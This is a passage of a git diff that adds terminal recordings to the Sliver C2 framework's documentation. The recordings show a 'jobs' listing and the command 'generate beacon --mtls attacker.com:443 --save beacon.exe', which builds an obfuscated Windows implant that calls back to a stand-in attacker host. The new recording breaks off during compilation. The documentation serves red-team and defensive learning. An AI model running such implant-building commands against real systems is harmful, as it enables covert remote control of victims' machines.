"\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjo"] +[103.351582, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjob\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs"] +[103.877364, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs\r\n"] +[103.877495, "o", "\r\n"] +[103.878596, "o", " ID Name Protocol Port Stage Profile \r\n==== ====== ========== ====== ===============\r\n 3 mtls tcp 443 \r\n\r\n\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[107.021089, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0me"] +[107.202237, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mex"] +[107.294327, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexi"] +[107.445352, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit"] +[107.59321, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit\r\n"] +[107.593405, "o", "\u001b[J\u001b[2K\r"] +[107.599102, "o", " \r\r"] +[110.767341, "o", "\u001b[?2004l\r\r\n"] diff --git a/docs/sliver-docs/public/asciinema/sliver-generate-2.cast b/docs/sliver-docs/public/asciinema/sliver-generate-2.cast new file mode 100644 index 0000000000..fcb16ef1ea --- /dev/null +++ b/docs/sliver-docs/public/asciinema/sliver-generate-2.cast @@ -0,0 +1,890 @@ +{"version": 2, "width": 137, "height": 38, "timestamp": 1702835089, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}} +[0.097852, "o", " \r\r"] +[0.155329, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"] +[0.156106, "o", "\u001b[?1h\u001b="] +[0.157882, "o", "\u001b[?2004h"] +[1.125575, "o", "\u001b[1ms\u001b[0m"] +[1.126513, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"] +[1.421601, "o", "\b\u001b[1ms\u001b[39m\u001b[1ml\u001b[0m"] +[1.615189, "o", "\b\b\u001b[1ms\u001b[1ml\u001b[39m\u001b[1mi\u001b[0m\u001b[38;2;153;153;153mi\u001b[38;2;153;153;153mv\u001b[38;2;153;153;153me\u001b[38;2;153;153;153mr\u001b[39m\b\b\b\b"] +[1.629916, "o", "\b\u001b[1mi\u001b[39m\u001b[1mv\u001b[0m\u001b[39m \u001b[39m \u001b[39m \b\b\b"] +[1.630831, "o", "\u001b[38;2;153;153;153mer\u001b[39m\b\b"] +[1.759956, "o", "\b\u001b[1mv\u001b[39m\u001b[1me\u001b[0m"] +[1.853356, "o", "\b\b\b\b\b\u001b[0m\u001b[36ms\u001b[0m\u001b[36ml\u001b[0m\u001b[36mi\u001b[0m\u001b[36mv\u001b[0m\u001b[36me\u001b[36mr\u001b[39m"] +[2.236531, "o", "\u001b[?1l\u001b>"] +[2.23892, "o", "\u001b[?2004l\r\r\n"] +[2.296279, "o", "Connecting to localhost:31337 ...\r\n"] +[2.344065, "o", "\u001b[m"] +[2.346097, "o", "\u001b[1m\u001b[37m\r\n.------..------..------..------..------..------.\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\n`------'`------'`------'`------'`------'`------'\r\n\u001b[0m\r\nAll hackers gain indestructible\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"] +[2.346478, "o", "\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[3.00925, "o", "\u001b[J\u001b[2K\r"] +[3.010337, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mg"] +[3.208022, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mge"] +[3.302823, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgen"] +[3.372922, "o", "\u001b[J\u001b[2K\r"] +[3.373021, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgene"] +[3.70229, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgener"] +[4.052038, "o", "\u001b[J\u001b[2K\r"] +[4.052339, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenera"] +[4.510978, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate "] +[5.054448, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate b"] +[5.280013, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate be"] +[5.46739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon "] +[6.419442, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon -"] +[6.614411, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --"] +[6.856392, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --m"] +[7.095018, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mt"] +[7.266718, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtl"] +[7.505325, "o", "\u001b[J\u001b[2K\r"] +[7.505432, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls"] +[7.700302, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls "] +[7.899072, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls a"] +[8.035391, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls at"] +[8.199555, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls att"] +[8.419739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls atta"] +[8.527686, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attac"] +[8.947179, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attack\u001b[J\u001b[2K\r"] +[8.947632, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacke\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker"] +[9.102625, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker."] +[9.250979, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.c"] +[9.470126, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.co"] +[9.473668, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com"] +[10.219427, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:"] +[10.62294, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:4"] +[11.043501, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:44"] +[11.059748, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443"] +[11.404661, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 "] +[11.739648, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 -"] +[12.091586, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --"] +[12.615716, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --s"] +[12.712567, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --sa"] +[12.797343, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --sav"] +[13.139634, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save "] +[13.663953, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save b"] +[13.759355, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save be"] +[13.856114, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save bea"] +[14.058062, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beac"] +[14.186399, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beaco"] +[14.303636, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon"] +[14.908132, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.e"] +[14.993707, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.ex"] +[15.427513, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe"] +[15.95164, "o", "\u001b[J\u001b[2K\r"] +[15.952182, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe\r\n\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new windows/amd64 beacon implant binary (1m0s)\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m\u001b[1mSymbol obfuscation is enabled\u001b[0m\r\n"] +[16.054085, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[16.154487, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[16.254959, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[16.355704, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[16.45606, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[16.556463, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[16.656856, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[16.757153, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[16.857447, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[16.957819, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[17.058208, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[17.158568, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[17.258966, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[17.35946, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[17.459916, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[17.560455, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[17.660855, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[17.763183, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[17.861645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[17.962051, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[18.062439, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[18.162895, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[18.263269, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[18.363695, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[18.464076, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[18.564554, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[18.665214, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[18.76571, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[18.866136, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[18.966534, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[19.066918, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[19.167222, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[19.267616, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[19.368009, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[19.468418, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[19.568772, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[19.669137, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[19.769534, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[19.869907, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[19.970298, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[20.070699, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[20.171098, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[20.271482, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[20.371884, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[20.472273, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[20.572694, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[20.673098, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[20.773502, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[20.873903, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[20.974313, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[21.074712, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[21.175096, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[21.275502, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[21.376149, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[21.476547, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[21.576905, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[21.677312, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[21.777687, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[21.878097, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[21.978483, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[22.078864, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[22.179281, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[22.279671, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[22.380071, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[22.480427, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[22.580771, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[22.681169, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[22.781562, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[22.881972, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[22.982331, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[23.082766, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[23.183105, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[23.283498, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[23.383944, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[23.484236, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[23.584636, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[23.685062, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[23.785467, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[23.885897, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[23.986321, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[24.086759, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[24.187166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[24.287475, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[24.387901, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[24.488271, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[24.588657, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[24.689065, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[24.789467, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[24.88987, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[24.990292, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[25.090709, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[25.191135, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[25.291551, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[25.391987, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[25.49242, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[25.592834, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[25.693163, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[25.793585, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[25.893982, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[25.994356, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[26.094723, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[26.195172, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[26.295622, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[26.396087, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[26.496532, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[26.596959, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[26.697402, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[26.79782, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[26.898231, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[26.998582, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[27.099007, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[27.199433, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[27.2999, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[27.400352, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[27.500823, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[27.601142, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[27.701551, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[27.801948, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[27.902362, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[28.002761, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[28.103173, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[28.203584, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[28.304012, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[28.40444, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[28.504864, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[28.605202, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[28.705556, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[28.80599, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[28.9064, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[29.006944, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[29.107364, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[29.207783, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[29.308185, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[29.40876, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[29.509184, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[29.609583, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[29.710009, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[29.810414, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[29.910815, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[30.011255, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[30.111699, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[30.212078, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[30.312498, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[30.412965, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[30.513353, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[30.613763, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[30.714177, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[30.814615, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[30.915033, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[31.015441, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[31.115908, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[31.216293, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[31.316708, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[31.417136, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[31.517546, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[31.617956, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[31.718385, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[31.818808, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[31.919252, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[32.019676, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[32.120074, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[32.220516, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[32.320919, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[32.421326, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[32.521744, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[32.62216, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[32.722605, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[32.82298, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[32.923317, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[33.02407, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[33.124441, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[33.224846, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[33.325173, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[33.425622, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[33.526046, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[33.626492, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[33.726914, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[33.82733, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[33.927765, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[34.028162, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[34.128487, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[34.228889, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[34.329312, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[34.429731, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[34.530105, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[34.630526, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[34.730944, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[34.831249, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[34.931636, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[35.032073, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[35.132486, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[35.232875, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[35.333288, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[35.433609, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[35.534006, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[35.634472, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[35.734913, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[35.83535, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[35.935774, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[36.036187, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[36.136585, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[36.237009, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[36.33742, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[36.437844, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[36.538405, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[36.638801, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[36.739211, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[36.839629, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[36.940067, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[37.040478, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[37.140892, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[37.241297, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[37.341697, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[37.442111, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[37.542537, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[37.642954, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[37.74336, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[37.843907, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[37.944306, "o", 